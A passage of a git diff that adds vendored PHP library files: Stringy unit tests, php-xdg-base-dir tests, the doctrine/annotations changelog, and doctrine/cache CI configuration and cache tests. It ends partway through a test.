$this->assertEquals($expected, $result); + $this->assertEquals($haystack, $stringy); + } + + /** + * @dataProvider containsAllProvider() + */ + public function testContainsAll($expected, $haystack, $needles, + $caseSensitive = true, $encoding = null) + { + $stringy = S::create($haystack, $encoding); + $result = $stringy->containsAll($needles, $caseSensitive); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($haystack, $stringy); + } + + /** + * @dataProvider surroundProvider() + */ + public function testSurround($expected, $str, $substring) + { + $stringy = S::create($str); + $result = $stringy->surround($substring); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider insertProvider() + */ + public function testInsert($expected, $str, $substring, $index, + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->insert($substring, $index); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider truncateProvider() + */ + public function testTruncate($expected, $str, $length, $substring = '', + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->truncate($length, $substring); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider safeTruncateProvider() + */ + public function testSafeTruncate($expected, $str, $length, $substring = '', + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->safeTruncate($length, $substring); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider reverseProvider() + */ + public function testReverse($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->reverse(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider shuffleProvider() + */ + public function testShuffle($str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $encoding = $encoding ?: mb_internal_encoding(); + $result = $stringy->shuffle(); + + $this->assertStringy($result); + $this->assertEquals($str, $stringy); + $this->assertEquals(mb_strlen($str, $encoding), + mb_strlen($result, $encoding)); + + // We'll make sure that the chars are present after shuffle + for ($i = 0; $i < mb_strlen($str, $encoding); $i++) { + $char = mb_substr($str, $i, 1, $encoding); + $countBefore = mb_substr_count($str, $char, $encoding); + $countAfter = mb_substr_count($result, $char, $encoding); + $this->assertEquals($countBefore, $countAfter); + } + } + + /** + * @dataProvider trimProvider() + */ + public function testTrim($expected, $str, $chars = null, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->trim($chars); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider trimLeftProvider() + */ + public function testTrimLeft($expected, $str, $chars = null, + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->trimLeft($chars); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider trimRightProvider() + */ + public function testTrimRight($expected, $str, $chars = null, + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->trimRight($chars); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider longestCommonPrefixProvider() + */ + public function testLongestCommonPrefix($expected, $str, $otherStr, + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->longestCommonPrefix($otherStr); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider longestCommonSuffixProvider() + */ + public function testLongestCommonSuffix($expected, $str, $otherStr, + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->longestCommonSuffix($otherStr); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider longestCommonSubstringProvider() + */ + public function testLongestCommonSubstring($expected, $str, $otherStr, + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->longestCommonSubstring($otherStr); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider lengthProvider() + */ + public function testLength($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->length(); + $this->assertInternalType('int', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider substrProvider() + */ + public function testSubstr($expected, $str, $start, $length = null, + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->substr($start, $length); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider atProvider() + */ + public function testAt($expected, $str, $index, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->at($index); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider firstProvider() + */ + public function testFirst($expected, $str, $n, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->first($n); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider lastProvider() + */ + public function testLast($expected, $str, $n, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->last($n); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider ensureLeftProvider() + */ + public function testEnsureLeft($expected, $str, $substring, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->ensureLeft($substring); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider ensureRightProvider() + */ + public function testEnsureRight($expected, $str, $substring, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->ensureRight($substring); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider removeLeftProvider() + */ + public function testRemoveLeft($expected, $str, $substring, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->removeLeft($substring); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider removeRightProvider() + */ + public function testRemoveRight($expected, $str, $substring, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->removeRight($substring); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider isAlphaProvider() + */ + public function testIsAlpha($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->isAlpha(); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider isAlphanumericProvider() + */ + public function testIsAlphanumeric($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->isAlphanumeric(); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider isBlankProvider() + */ + public function testIsBlank($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->isBlank(); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider isJsonProvider() + */ + public function testIsJson($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->isJson(); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider isLowerCaseProvider() + */ + public function testIsLowerCase($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->isLowerCase(); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider hasLowerCaseProvider() + */ + public function testHasLowerCase($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->hasLowerCase(); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider isSerializedProvider() + */ + public function testIsSerialized($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->isSerialized(); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider isUpperCaseProvider() + */ + public function testIsUpperCase($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->isUpperCase(); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider hasUpperCaseProvider() + */ + public function testHasUpperCase($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->hasUpperCase(); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider isHexadecimalProvider() + */ + public function testIsHexadecimal($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->isHexadecimal(); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider countSubstrProvider() + */ + public function testCountSubstr($expected, $str, $substring, + $caseSensitive = true, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->countSubstr($substring, $caseSensitive); + $this->assertInternalType('int', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider replaceProvider() + */ + public function testReplace($expected, $str, $search, $replacement, + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->replace($search, $replacement); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider regexReplaceProvider() + */ + public function testregexReplace($expected, $str, $pattern, $replacement, + $options = 'msr', $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->regexReplace($pattern, $replacement, $options); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider htmlEncodeProvider() + */ + public function testHtmlEncode($expected, $str, $flags = ENT_COMPAT, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->htmlEncode($flags); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider htmlDecodeProvider() + */ + public function testHtmlDecode($expected, $str, $flags = ENT_COMPAT, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->htmlDecode($flags); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } +} diff --git a/vendor/dnoegel/php-xdg-base-dir/phpunit.xml.dist b/vendor/dnoegel/php-xdg-base-dir/phpunit.xml.dist new file mode 100644 index 00000000..4000c012 --- /dev/null +++ b/vendor/dnoegel/php-xdg-base-dir/phpunit.xml.dist @@ -0,0 +1,24 @@ + + + + + + + ./tests/ + + + + + + ./src/ + + + diff --git a/vendor/dnoegel/php-xdg-base-dir/tests/XdgTest.php b/vendor/dnoegel/php-xdg-base-dir/tests/XdgTest.php new file mode 100644 index 00000000..92c2e07e --- /dev/null +++ b/vendor/dnoegel/php-xdg-base-dir/tests/XdgTest.php @@ -0,0 +1,116 @@ +assertEquals('/fake-dir', $this->getXdg()->getHomeDir()); + } + + public function testGetFallbackHomeDir() + { + putenv('HOME='); + putenv('HOMEDRIVE=C:'); + putenv('HOMEPATH=fake-dir'); + $this->assertEquals('C:/fake-dir', $this->getXdg()->getHomeDir()); + } + + public function testXdgPutCache() + { + putenv('XDG_DATA_HOME=tmp/'); + putenv('XDG_CONFIG_HOME=tmp/'); + putenv('XDG_CACHE_HOME=tmp/'); + $this->assertEquals('tmp/', $this->getXdg()->getHomeCacheDir()); + } + + public function testXdgPutData() + { + putenv('XDG_DATA_HOME=tmp/'); + $this->assertEquals('tmp/', $this->getXdg()->getHomeDataDir()); + } + + public function testXdgPutConfig() + { + putenv('XDG_CONFIG_HOME=tmp/'); + $this->assertEquals('tmp/', $this->getXdg()->getHomeConfigDir()); + } + + public function testXdgDataDirsShouldIncludeHomeDataDir() + { + putenv('XDG_DATA_HOME=tmp/'); + putenv('XDG_CONFIG_HOME=tmp/'); + + $this->assertArrayHasKey('tmp/', array_flip($this->getXdg()->getDataDirs())); + } + + public function testXdgConfigDirsShouldIncludeHomeConfigDir() + { + putenv('XDG_CONFIG_HOME=tmp/'); + + $this->assertArrayHasKey('tmp/', array_flip($this->getXdg()->getConfigDirs())); + } + + /** + * If XDG_RUNTIME_DIR is set, it should be returned + */ + public function testGetRuntimeDir() + { + putenv('XDG_RUNTIME_DIR=/tmp/'); + $runtimeDir = $this->getXdg()->getRuntimeDir(); + + $this->assertEquals(is_dir($runtimeDir), true); + } + + /** + * In strict mode, an exception should be shown if XDG_RUNTIME_DIR does not exist + * + * @expectedException \RuntimeException + */ + public function testGetRuntimeDirShouldThrowException() + { + putenv('XDG_RUNTIME_DIR='); + $this->getXdg()->getRuntimeDir(true); + } + + /** + * In fallback mode a directory should be created + */ + public function testGetRuntimeDirShouldCreateDirectory() + { + putenv('XDG_RUNTIME_DIR='); + $dir = $this->getXdg()->getRuntimeDir(false); + $permission = decoct(fileperms($dir) & 0777); + $this->assertEquals(700, $permission); + } + + /** + * Ensure, that the fallback directories are created with correct permission + */ + public function testGetRuntimeShouldDeleteDirsWithWrongPermission() + { + $runtimeDir = sys_get_temp_dir() . DIRECTORY_SEPARATOR . XdgBaseDir\Xdg::RUNTIME_DIR_FALLBACK . getenv('USER'); + + rmdir($runtimeDir); + mkdir($runtimeDir, 0764, true); + + // Permission should be wrong now + $permission = decoct(fileperms($runtimeDir) & 0777); + $this->assertEquals(764, $permission); + + putenv('XDG_RUNTIME_DIR='); + $dir = $this->getXdg()->getRuntimeDir(false); + + // Permission should be fixed + $permission = decoct(fileperms($dir) & 0777); + $this->assertEquals(700, $permission); + } +} diff --git a/vendor/doctrine/annotations/CHANGELOG.md b/vendor/doctrine/annotations/CHANGELOG.md new file mode 100644 index 00000000..c09ebe60 --- /dev/null +++ b/vendor/doctrine/annotations/CHANGELOG.md @@ -0,0 +1,115 @@ +## Changelog + + +### 1.4.0 + +This release fix an issue were some annotations could be not loaded if the namespace in the use statement started with a backslash. +It also update the tests and drop the support for php 5.X + +- [115: Missing annotations with the latest composer version](https://github.com/doctrine/annotations/issues/115) thanks to @pascalporedda +- [120: Missing annotations with the latest composer version](https://github.com/doctrine/annotations/pull/120) thanks to @gnat42 +- [121: Adding a more detailed explanation of the test](https://github.com/doctrine/annotations/pull/121) thanks to @mikeSimonson +- [101: Test annotation parameters containing space](https://github.com/doctrine/annotations/pull/101) thanks to @mikeSimonson +- [111: Cleanup: move to correct phpunit assertions](https://github.com/doctrine/annotations/pull/111) thanks to @Ocramius +- [112: Removes support for PHP 5.x](https://github.com/doctrine/annotations/pull/112) thanks to @railto +- [113: bumped phpunit version to 5.7](https://github.com/doctrine/annotations/pull/113) thanks to @gabbydgab +- [114: Enhancement: Use SVG Travis build badge](https://github.com/doctrine/annotations/pull/114) thanks to @localheinz +- [118: Integrating PHPStan](https://github.com/doctrine/annotations/pull/118) thanks to @ondrejmirtes + +### 1.3.1 - 2016-12-30 + +This release fixes an issue with ignored annotations that were already +autoloaded, causing the `SimpleAnnotationReader` to pick them up +anyway. [#110](https://github.com/doctrine/annotations/pull/110) + +Additionally, an issue was fixed in the `CachedReader`, which was +not correctly checking the freshness of cached annotations when +traits were defined on a class. [#105](https://github.com/doctrine/annotations/pull/105) + +Total issues resolved: **2** + +- [105: Return single max timestamp](https://github.com/doctrine/annotations/pull/105) +- [110: setIgnoreNotImportedAnnotations(true) didn’t work for existing classes](https://github.com/doctrine/annotations/pull/110) + +### 1.3.0 + +This release introduces a PHP version bump. `doctrine/annotations` now requires PHP +5.6 or later to be installed. + +A series of additional improvements have been introduced: + + * support for PHP 7 "grouped use statements" + * support for ignoring entire namespace names + via `Doctrine\Common\Annotations\AnnotationReader::addGlobalIgnoredNamespace()` and + `Doctrine\Common\Annotations\DocParser::setIgnoredAnnotationNamespaces()`. This will + allow you to ignore annotations from namespaces that you cannot autoload + * testing all parent classes and interfaces when checking if the annotation cache + in the `CachedReader` is fresh + * simplifying the cache keys used by the `CachedReader`: keys are no longer artificially + namespaced, since `Doctrine\Common\Cache` already supports that + * corrected parsing of multibyte strings when `mbstring.func_overload` is enabled + * corrected parsing of annotations when `"\t"` is put before the first annotation + in a docblock + * allow skipping non-imported annotations when a custom `DocParser` is passed to + the `AnnotationReader` constructor + +Total issues resolved: **15** + +- [45: DocParser can now ignore whole namespaces](https://github.com/doctrine/annotations/pull/45) +- [57: Switch to the docker-based infrastructure on Travis](https://github.com/doctrine/annotations/pull/57) +- [59: opcache.load_comments has been removed from PHP 7](https://github.com/doctrine/annotations/pull/59) +- [62: [CachedReader\ Test traits and parent class to see if cache is fresh](https://github.com/doctrine/annotations/pull/62) +- [65: Remove cache salt making key unnecessarily long](https://github.com/doctrine/annotations/pull/65) +- [66: Fix of incorrect parsing multibyte strings](https://github.com/doctrine/annotations/pull/66) +- [68: Annotations that are indented by tab are not processed.](https://github.com/doctrine/annotations/issues/68) +- [69: Support for Group Use Statements](https://github.com/doctrine/annotations/pull/69) +- [70: Allow tab character before first annotation in DocBlock](https://github.com/doctrine/annotations/pull/70) +- [74: Ignore not registered annotations fix](https://github.com/doctrine/annotations/pull/74) +- [92: Added tests for AnnotationRegistry class.](https://github.com/doctrine/annotations/pull/92) +- [96: Fix/#62 check trait and parent class ttl in annotations](https://github.com/doctrine/annotations/pull/96) +- [97: Feature - #45 - allow ignoring entire namespaces](https://github.com/doctrine/annotations/pull/97) +- [98: Enhancement/#65 remove cache salt from cached reader](https://github.com/doctrine/annotations/pull/98) +- [99: Fix - #70 - allow tab character before first annotation in docblock](https://github.com/doctrine/annotations/pull/99) + +### 1.2.4 + +Total issues resolved: **1** + +- [51: FileCacheReader::saveCacheFile::unlink fix](https://github.com/doctrine/annotations/pull/51) + +### 1.2.3 + +Total issues resolved: [**2**](https://github.com/doctrine/annotations/milestones/v1.2.3) + +- [49: #46 - applying correct `chmod()` to generated cache file](https://github.com/doctrine/annotations/pull/49) +- [50: Hotfix: match escaped quotes (revert #44)](https://github.com/doctrine/annotations/pull/50) + +### 1.2.2 + +Total issues resolved: **4** + +- [43: Exclude files from distribution with .gitattributes](https://github.com/doctrine/annotations/pull/43) +- [44: Update DocLexer.php](https://github.com/doctrine/annotations/pull/44) +- [46: A plain "file_put_contents" can cause havoc](https://github.com/doctrine/annotations/pull/46) +- [48: Deprecating the `FileCacheReader` in 1.2.2: will be removed in 2.0.0](https://github.com/doctrine/annotations/pull/48) + +### 1.2.1 + +Total issues resolved: **4** + +- [38: fixes doctrine/common#326](https://github.com/doctrine/annotations/pull/38) +- [39: Remove superfluous NS](https://github.com/doctrine/annotations/pull/39) +- [41: Warn if load_comments is not enabled.](https://github.com/doctrine/annotations/pull/41) +- [42: Clean up unused uses](https://github.com/doctrine/annotations/pull/42) + +### 1.2.0 + + * HHVM support + * Allowing dangling comma in annotations + * Excluded annotations are no longer autoloaded + * Importing namespaces also in traits + * Added support for `::class` 5.5-style constant, works also in 5.3 and 5.4 + +### 1.1.0 + + * Add Exception when ZendOptimizer+ or Opcache is configured to drop comments diff --git a/vendor/doctrine/cache/.travis.yml b/vendor/doctrine/cache/.travis.yml new file mode 100644 index 00000000..a16fd9d9 --- /dev/null +++ b/vendor/doctrine/cache/.travis.yml @@ -0,0 +1,42 @@ +language: php + +sudo: false + +cache: + directories: + - vendor + - $HOME/.composer/cache + +php: + - 5.5 + - 5.6 + - 7.0 + - hhvm + +services: + - riak + - mongodb + - memcached + - redis-server + +before_install: + - if [[ $TRAVIS_PHP_VERSION != 'hhvm' ]] ; then pecl channel-update pecl.php.net; fi; + - if [[ $TRAVIS_PHP_VERSION != 'hhvm' && $TRAVIS_PHP_VERSION != '7.0' ]]; then pecl install riak-beta; fi; + - if [[ $TRAVIS_PHP_VERSION =~ 5.[56] ]] ; then echo yes | pecl install apcu-4.0.10; fi; + - if [[ $TRAVIS_PHP_VERSION = 7.* ]] ; then pecl config-set preferred_state beta; echo yes | pecl install apcu; fi; + - if [[ $TRAVIS_PHP_VERSION != 'hhvm' ]]; then phpenv config-add ./tests/travis/php.ini; fi; + +install: + - travis_retry composer install + +script: + - ./vendor/bin/phpunit -c ./tests/travis/phpunit.travis.xml -v + +after_script: + - php vendor/bin/coveralls -v + +matrix: + fast_finish: true + allow_failures: + - php: hhvm + - php: 7.0 diff --git a/vendor/doctrine/cache/phpunit.xml.dist b/vendor/doctrine/cache/phpunit.xml.dist new file mode 100644 index 00000000..40cc24de --- /dev/null +++ b/vendor/doctrine/cache/phpunit.xml.dist @@ -0,0 +1,25 @@ + + + + + + + + + + ./tests/Doctrine/ + + + + + + ./lib/Doctrine/ + + + diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ApcCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ApcCacheTest.php new file mode 100644 index 00000000..5becdf99 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ApcCacheTest.php @@ -0,0 +1,28 @@ +markTestSkipped('APC must be enabled for the CLI with the ini setting apc.enable_cli=1'); + } + } + + protected function _getCacheDriver() + { + return new ApcCache(); + } + + public function testLifetime() + { + $this->markTestSkipped('The APC cache TTL is not working in a single process/request. See https://bugs.php.net/bug.php?id=58084'); + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ApcuCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ApcuCacheTest.php new file mode 100644 index 00000000..27764cd7 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ApcuCacheTest.php @@ -0,0 +1,28 @@ +markTestSkipped('APC must be enabled for the CLI with the ini setting apc.enable_cli=1'); + } + } + + protected function _getCacheDriver() + { + return new ApcuCache(); + } + + public function testLifetime() + { + $this->markTestSkipped('The APC cache TTL is not working in a single process/request. See https://bugs.php.net/bug.php?id=58084'); + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ArrayCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ArrayCacheTest.php new file mode 100644 index 00000000..3be94c61 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ArrayCacheTest.php @@ -0,0 +1,52 @@ +_getCacheDriver(); + $cache->fetch('test1'); + $cache->fetch('test2'); + $cache->fetch('test3'); + + $cache->save('test1', 123); + $cache->save('test2', 123); + + $cache->fetch('test1'); + $cache->fetch('test2'); + $cache->fetch('test3'); + + $stats = $cache->getStats(); + $this->assertEquals(2, $stats[Cache::STATS_HITS]); + $this->assertEquals(5, $stats[Cache::STATS_MISSES]); // +1 for internal call to DoctrineNamespaceCacheKey + $this->assertNotNull($stats[Cache::STATS_UPTIME]); + $this->assertNull($stats[Cache::STATS_MEMORY_USAGE]); + $this->assertNull($stats[Cache::STATS_MEMORY_AVAILABLE]); + + $cache->delete('test1'); + $cache->delete('test2'); + + $cache->fetch('test1'); + $cache->fetch('test2'); + $cache->fetch('test3'); + + $stats = $cache->getStats(); + $this->assertEquals(2, $stats[Cache::STATS_HITS]); + $this->assertEquals(8, $stats[Cache::STATS_MISSES]); // +1 for internal call to DoctrineNamespaceCacheKey + } + + protected function isSharedStorage() + { + return false; + } +} \ No newline at end of file diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/BaseFileCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/BaseFileCacheTest.php new file mode 100644 index 00000000..c1256ee3 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/BaseFileCacheTest.php @@ -0,0 +1,155 @@ +directory = sys_get_temp_dir() . '/doctrine_cache_'. uniqid(); + } while (file_exists($this->directory)); + } + + protected function tearDown() + { + if ( ! is_dir($this->directory)) { + return; + } + + $iterator = new RecursiveDirectoryIterator($this->directory); + + foreach (new RecursiveIteratorIterator($iterator, RecursiveIteratorIterator::CHILD_FIRST) as $file) { + if ($file->isFile()) { + @unlink($file->getRealPath()); + } elseif ($file->isDir()) { + @rmdir($file->getRealPath()); + } + } + + @rmdir($this->directory); + } + + public function testFlushAllRemovesBalancingDirectories() + { + $cache = $this->_getCacheDriver(); + + $this->assertTrue($cache->save('key1', 1)); + $this->assertTrue($cache->save('key2', 2)); + $this->assertTrue($cache->flushAll()); + + $iterator = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($this->directory, \FilesystemIterator::SKIP_DOTS), \RecursiveIteratorIterator::CHILD_FIRST); + + $this->assertCount(0, $iterator); + } + + protected function isSharedStorage() + { + return false; + } + + public function getPathLengthsToTest() + { + // Windows officially supports 260 bytes including null terminator + // 258 bytes available to use due to php bug #70943 + // Windows officially supports 260 bytes including null terminator + // 259 characters is too large due to PHP bug (https://bugs.php.net/bug.php?id=70943) + // 260 characters is too large - null terminator is included in allowable length + return array( + array(257, false), + array(258, false), + array(259, true), + array(260, true) + ); + } + + private static function getBasePathForWindowsPathLengthTests($pathLength) + { + return FileCacheTest::getBasePathForWindowsPathLengthTests($pathLength); + } + + /** + * @param int $length + * @param string $basePath + * + * @return array + */ + private static function getKeyAndPathFittingLength($length, $basePath) + { + $baseDirLength = strlen($basePath); + $extensionLength = strlen('.doctrine.cache'); + $directoryLength = strlen(DIRECTORY_SEPARATOR . 'aa' . DIRECTORY_SEPARATOR); + $namespaceAndBracketLength = strlen(bin2hex("[][1]")); + $keyLength = $length + - ($baseDirLength + + $extensionLength + + $directoryLength + + $namespaceAndBracketLength); + + $key = str_repeat('a', floor($keyLength / 2)); + $namespacedKey = '[' . $key . '][1]'; + + $keyHash = hash('sha256', $namespacedKey); + + $keyPath = $basePath + . DIRECTORY_SEPARATOR + . substr($keyHash, 0, 2) + . DIRECTORY_SEPARATOR + . bin2hex($namespacedKey) + . '.doctrine.cache'; + + $hashedKeyPath = $basePath + . DIRECTORY_SEPARATOR + . substr($keyHash, 0, 2) + . DIRECTORY_SEPARATOR + . '_' . $keyHash + . '.doctrine.cache'; + + return array($key, $keyPath, $hashedKeyPath); + } + + /** + * @dataProvider getPathLengthsToTest + * + * @param int $length + * @param bool $pathShouldBeHashed + */ + public function testWindowsPathLengthLimitIsCorrectlyHandled($length, $pathShouldBeHashed) + { + $this->directory = self::getBasePathForWindowsPathLengthTests($length); + + list($key, $keyPath, $hashedKeyPath) = self::getKeyAndPathFittingLength($length, $this->directory); + + $this->assertEquals($length, strlen($keyPath), 'Unhashed path should be of correct length.'); + + $cacheClass = get_class($this->_getCacheDriver()); + /* @var $cache \Doctrine\Common\Cache\FileCache */ + $cache = new $cacheClass($this->directory, '.doctrine.cache'); + + // Trick it into thinking this is windows. + $reflClass = new \ReflectionClass(FileCache::class); + $reflProp = $reflClass->getProperty('isRunningOnWindows'); + $reflProp->setAccessible(true); + $reflProp->setValue($cache, true); + $reflProp->setAccessible(false); + + $value = uniqid('value', true); + + $cache->save($key, $value); + $this->assertEquals($value, $cache->fetch($key)); + + if ($pathShouldBeHashed) { + $this->assertFileExists($hashedKeyPath, 'Path generated for key should be hashed.'); + unlink($hashedKeyPath); + } else { + $this->assertFileExists($keyPath, 'Path generated for key should not be hashed.'); + unlink($keyPath); + } + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/CacheProviderTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/CacheProviderTest.php new file mode 100644 index 00000000..5e11652c --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/CacheProviderTest.php @@ -0,0 +1,103 @@ +getMockForAbstractClass( + 'Doctrine\Common\Cache\CacheProvider', + array(), + '', + true, + true, + true, + array('doFetchMultiple') + ); + + $cache + ->expects($this->once()) + ->method('doFetchMultiple') + ->will($this->returnValue(array( + '[foo][1]' => 'bar', + '[bar][1]' => 'baz', + '[baz][1]' => 'tab', + ))); + + $this->assertEquals( + array('foo' => 'bar', 'bar' => 'baz'), + $cache->fetchMultiple(array('foo', 'bar')) + ); + } + + public function testFailedDeleteAllDoesNotChangeNamespaceVersion() + { + /* @var $cache \Doctrine\Common\Cache\CacheProvider|\PHPUnit_Framework_MockObject_MockObject */ + $cache = $this->getMockForAbstractClass( + 'Doctrine\Common\Cache\CacheProvider', + array(), + '', + true, + true, + true, + array('doFetch', 'doSave', 'doContains') + ); + + $cache + ->expects($this->once()) + ->method('doFetch') + ->with('DoctrineNamespaceCacheKey[]') + ->will($this->returnValue(false)); + + // doSave is only called once from deleteAll as we do not need to persist the default version in getNamespaceVersion() + $cache + ->expects($this->once()) + ->method('doSave') + ->with('DoctrineNamespaceCacheKey[]') + ->will($this->returnValue(false)); + + // After a failed deleteAll() the local namespace version is not increased (still 1). Otherwise all data written afterwards + // would be lost outside the current instance. + $cache + ->expects($this->once()) + ->method('doContains') + ->with('[key][1]') + ->will($this->returnValue(true)); + + $this->assertFalse($cache->deleteAll(), 'deleteAll() returns false when saving the namespace version fails'); + $cache->contains('key'); + } + + public function testSaveMultipleNoFail() + { + /* @var $cache \Doctrine\Common\Cache\CacheProvider|\PHPUnit_Framework_MockObject_MockObject */ + $cache = $this->getMockForAbstractClass( + 'Doctrine\Common\Cache\CacheProvider', + array(), + '', + true, + true, + true, + array('doSave') + ); + + $cache + ->expects($this->at(1)) + ->method('doSave') + ->with('[kerr][1]', 'verr', 0) + ->will($this->returnValue(false)); + + $cache + ->expects($this->at(2)) + ->method('doSave') + 